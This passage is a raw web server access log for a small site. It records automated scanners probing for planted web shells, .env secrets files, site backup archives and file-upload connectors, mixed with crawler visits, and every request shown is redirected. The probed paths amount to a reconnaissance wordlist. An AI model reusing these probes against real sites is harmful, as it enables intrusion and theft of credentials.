-0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:52 -0400] "GET /wp-content/plugins/masterx/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:52 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:52 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:52 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:53 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:53 -0400] "GET /audio.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:53 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:53 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:53 -0400] "GET /activity.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:54 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:54 -0400] "GET /endpoint.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:54 -0400] "GET /wp-admin/css/colors/sunrise/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:54 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:54 -0400] "GET /tutorial.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:55 -0400] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:55 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:55 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:55 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:55 -0400] "GET /cgi-bin/upfile.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:55 -0400] "GET /cgi-sys/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:56 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:56 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:56 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:56 -0400] "GET /wp-content/themes/9geiaoo5/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:56 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:56 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:57 -0400] "GET /wp-content/plugins/whusrhk/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:57 -0400] "GET /articles.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:57 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:57 -0400] "GET /gins/wp-help/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:57 -0400] "GET /wp-content HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:57 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:58 -0400] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:58 -0400] "GET /site/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:58 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:58 -0400] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:58 -0400] "GET /wp/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:58 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:59 -0400] "GET /wp-content/plugins/dazmhjz/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:59 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:59 -0400] "GET /storage/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:59 -0400] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:59 -0400] "GET /pomo/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:18:59 -0400] "GET /wp-content/upgrade/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:19:00 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:19:00 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [10/Apr/2025:07:19:00 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 192.161.162.179 - - [10/Apr/2025:07:19:05 -0400] "GET /Public/Jquery/plupload-2.1.1/examples/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 51.222.253.15 - - [10/Apr/2025:07:26:34 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)" 66.249.79.101 - - [10/Apr/2025:07:28:36 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.100 - - [10/Apr/2025:07:28:36 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 103.65.237.89 - - [10/Apr/2025:07:36:23 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 103.65.237.89 - - [10/Apr/2025:07:36:30 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 66.249.79.100 - - [10/Apr/2025:07:46:27 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 3.208.23.31 - - [10/Apr/2025:07:55:16 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 122.51.12.151 - - [10/Apr/2025:07:58:30 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 2a01:239:279:8600::1 - - [10/Apr/2025:08:18:10 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36" 2a01:239:279:8600::1 - - [10/Apr/2025:08:18:49 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36" 143.110.183.235 - - [10/Apr/2025:08:27:55 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 143.110.183.235 - - [10/Apr/2025:08:28:04 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 143.110.183.235 - - [10/Apr/2025:08:28:15 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 143.110.183.235 - - [10/Apr/2025:08:28:26 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 143.110.183.235 - - [10/Apr/2025:08:28:39 -0400] "GET /uploads/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 143.110.183.235 - - [10/Apr/2025:08:28:51 -0400] "GET /images/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 143.110.183.235 - - [10/Apr/2025:08:29:06 -0400] "GET /files/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 43.157.172.39 - - [10/Apr/2025:08:32:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 2001:67c:2660:425:25::e0 - - [10/Apr/2025:08:51:54 -0400] "GET /application/third_party/ckfinder/core/connector/php/connector.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 2001:67c:2660:425:25::67 - - [10/Apr/2025:08:51:54 -0400] "GET /js/ckfinder/core/connector/php/connector.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 2001:67c:2660:425:25::1e1 - - [10/Apr/2025:08:51:54 -0400] "GET /assets/ckfinder/core/connector/php/connector.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 2001:67c:2660:425:25::397 - - [10/Apr/2025:08:51:54 -0400] "GET /ckeditor/ckfinder/core/connector/php/connector.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 2001:67c:2660:425:3617:ebff:fee4:6393 - - [10/Apr/2025:08:51:54 -0400] "GET /ckfinder/core/connector/php/connector.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 2001:67c:2660:425:3617:ebff:fee4:6393 - - [10/Apr/2025:08:51:54 -0400] "GET /admin/ckfinder/core/connector/php/connector.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 40.70.66.203 - - [10/Apr/2025:08:52:03 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [10/Apr/2025:08:52:04 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [10/Apr/2025:08:52:04 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [10/Apr/2025:08:52:04 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [10/Apr/2025:08:52:05 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [10/Apr/2025:08:52:05 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [10/Apr/2025:08:52:05 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [10/Apr/2025:08:52:05 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [10/Apr/2025:08:52:06 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [10/Apr/2025:08:52:06 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 182.44.8.254 - - [10/Apr/2025:08:53:18 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 92.101.9.30 - - [10/Apr/2025:08:53:20 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 80.85.246.144 - - [10/Apr/2025:08:58:11 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 82.165.80.216 - - [10/Apr/2025:09:18:26 -0400] "GET /backup.tar.gz HTTP/1.1" 301 795 "-" "-" 82.165.80.216 - - [10/Apr/2025:09:18:28 -0400] "GET /site.tar.gz HTTP/1.1" 301 795 "-" "-" 82.165.80.216 - - [10/Apr/2025:09:18:30 -0400] "GET /designpitara.tar.gz HTTP/1.1" 301 795 "-" "-" 74.208.56.172 - - [10/Apr/2025:09:18:30 -0400] "GET /sitepack.tar.gz HTTP/1.1" 301 795 "-" "-" 74.208.56.172 - - [10/Apr/2025:09:18:31 -0400] "GET /Backup.tar.gz HTTP/1.1" 301 795 "-" "-" 82.165.80.216 - - [10/Apr/2025:09:18:31 -0400] "GET /designpitara.com.tar.gz HTTP/1.1" 301 795 "-" "-" 74.208.56.172 - - [10/Apr/2025:09:18:32 -0400] "GET /public_html.tar.gz HTTP/1.1" 301 795 "-" "-" 74.208.56.172 - - [10/Apr/2025:09:18:33 -0400] "GET /wordpress.tar.gz HTTP/1.1" 301 795 "-" "-" 135.125.27.249 - - [10/Apr/2025:09:25:04 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:09:31:37 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:09:33:16 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:09:34:29 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:09:38:48 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:09:39:42 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:09:45:40 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:09:51:49 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:09:52:17 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:09:53:04 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 66.249.79.100 - - [10/Apr/2025:09:53:28 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.100 - - [10/Apr/2025:09:53:28 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 135.125.27.249 - - [10/Apr/2025:09:56:01 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:09:59:41 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 212.118.53.218 - - [10/Apr/2025:10:00:42 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:10:08:00 -0400] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:10:09:50 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:10:12:09 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:10:12:49 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 34.162.166.181 - - [10/Apr/2025:10:15:59 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.166.181 - - [10/Apr/2025:10:16:25 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 135.125.27.249 - - [10/Apr/2025:10:21:50 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 43.157.179.227 - - [10/Apr/2025:10:23:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 135.125.27.249 - - [10/Apr/2025:10:28:13 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:10:28:15 -0400] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:10:29:46 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:10:32:17 -0400] "GET /wp-admin/css/colors/blue/wp-crons.wp-admin/css/colors/blue/wp-crons.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:10:36:51 -0400] "GET /wp-admin/css/colors/blue/wp-crons.wp-admin/css/colors/blue/wp-crons.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:10:37:46 -0400] "GET /wp-admin/css/colors/blue/wp-crons.wp-admin/css/colors/blue/wp-crons.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:10:41:57 -0400] "GET /wp-admin/css/colors/blue/wp-crons.wp-admin/css/colors/blue/wp-crons.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:10:46:22 -0400] "GET /wp-includes/blocks/calendar/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:10:49:26 -0400] "GET /wp-admin/css/colors/blue/wp-crons.wp-admin/css/colors/blue/wp-crons.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 164.90.154.67 - - [10/Apr/2025:10:50:00 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:10:50:21 -0400] "GET /wp-includes/blocks/calendar/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:10:50:52 -0400] "GET /moduless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:10:51:49 -0400] "GET /wp-admin/css/colors/blue/wp-crons.wp-admin/css/colors/blue/wp-crons.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:10:53:09 -0400] "GET /moduless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:10:55:04 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [10/Apr/2025:10:59:37 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) 